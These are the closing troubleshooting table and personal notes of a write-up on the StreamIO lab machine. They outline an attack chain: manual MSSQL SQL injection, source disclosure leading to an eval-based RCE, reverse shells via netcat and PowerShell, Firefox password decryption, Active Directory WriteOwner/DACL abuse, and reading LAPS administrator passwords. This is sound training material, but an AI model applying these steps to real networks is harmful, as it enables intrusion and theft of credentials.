Symptom: nc64.exe does not work
Meaning: You may have downloaded an HTML page instead of the raw executable
Next: Check file nc64.exe and xxd -l 2 nc64.exe. You want PE32+ and 4d5a

Symptom: Netcat callback does not land
Meaning: Binary, AV, argument order, or outbound port issue
Next: Use PowerShell reverse shell, which worked reliably here

Symptom: where sqlcmd returns empty
Meaning: sqlcmd.exe is not in PATH or PowerShell alias behavior is misleading
Next: Search C:\Program Files recursively for sqlcmd.exe

Symptom: User folders look empty after WinRM
Meaning: Visible profile folders often have no loot
Next: Check hidden AppData, especially browser profiles

Symptom: Firefox decryptor output is noisy
Meaning: firepwd prints crypto internals before credentials
Next: Look after decrypting login/password pairs or filter output with grep/sed

Symptom: JDgodd works for SMB/LDAP but not WinRM
Meaning: Valid domain credential, but no remote management rights
Next: Use it for BloodHound/RustHound, not shell access

Symptom: BloodHound shows CORE STAFF has zero members
Meaning: The group is empty, not useless
Next: Abuse WriteOwner to add JDgodd to the group

Symptom: Saved Cypher query returns no results
Meaning: BloodHound query/tagging may not represent the path cleanly
Next: Manually inspect the edge JDgodd -> WriteOwner -> CORE STAFF

Symptom: add groupMember fails after owneredit
Meaning: Ownership alone is not enough
Next: Run dacledit.py to grant JDgodd FullControl over the group DACL first

Symptom: LDAP LAPS query returns nothing
Meaning: Group membership may not be applied or wrong account is querying
Next: Verify JDgodd is a member of CORE STAFF, then retry LDAP bind as JDgodd


πŸ“ Personal Notes

StreamIO was a good CPTS-style machine because it chained several different skill areas instead of relying on one exploit.

The first big lesson was that manual SQLi still matters. The search function did not give an easy automated path, and obvious payloads triggered blocking. The working approach was careful MSSQL union testing, column counting, and then enumerating sysobjects, syscolumns, and the users table manually.

The second major lesson was that authenticated web enumeration changes the surface. The debug parameter only became useful after valid web login. Once found, it was clearly a developer feature, and PHP filter source disclosure turned it into source-code review.

The source review was the real turning point. index.php revealed the unsafe dynamic include and hardcoded DB credentials. master.php revealed the dangerous eval(file_get_contents($_POST['include'])) sink. This was much cleaner than trying random payloads.

The RCE troubleshooting was also useful. The target fetched test.php, so the web exploit worked. The failure was payload delivery. The original nc64.exe was HTML, not a PE binary. Even after fixing that, PowerShell was the more reliable reverse shell path.

The post-exploitation chain was credential-driven. Hardcoded source credentials led to MSSQL backup data. Backup database credentials led to nikk37. nikk37 led to Firefox saved credentials. Firefox credentials led to JDgodd. JDgodd led to AD ACL abuse.

The BloodHound part was initially confusing because CORE STAFF looked empty and the saved Cypher queries were not helpful. The key was not group membership or nesting; it was object control. JDgodd had WriteOwner over CORE STAFF. That meant the path was ownership abuse, DACL modification, and then group membership modification.

The final privilege escalation was a good reminder of how powerful LAPS read permissions are. Once JDgodd was added to CORE STAFF, the ms-Mcs-AdmPwd attribute became readable through LDAP, and that exposed the local Administrator password for the DC.

Overall, StreamIO reinforced a strong methodology:

  1. Enumerate web carefully.
  2. Extract and crack credentials.
  3. Use authenticated access to expand the attack surface.
  4. Read source code when possible.
  5. Treat post-exploitation as credential and data discovery.
  6. Use BloodHound edges carefully and understand what the edge actually means.
  7. Translate AD object-control edges into precise abuse steps.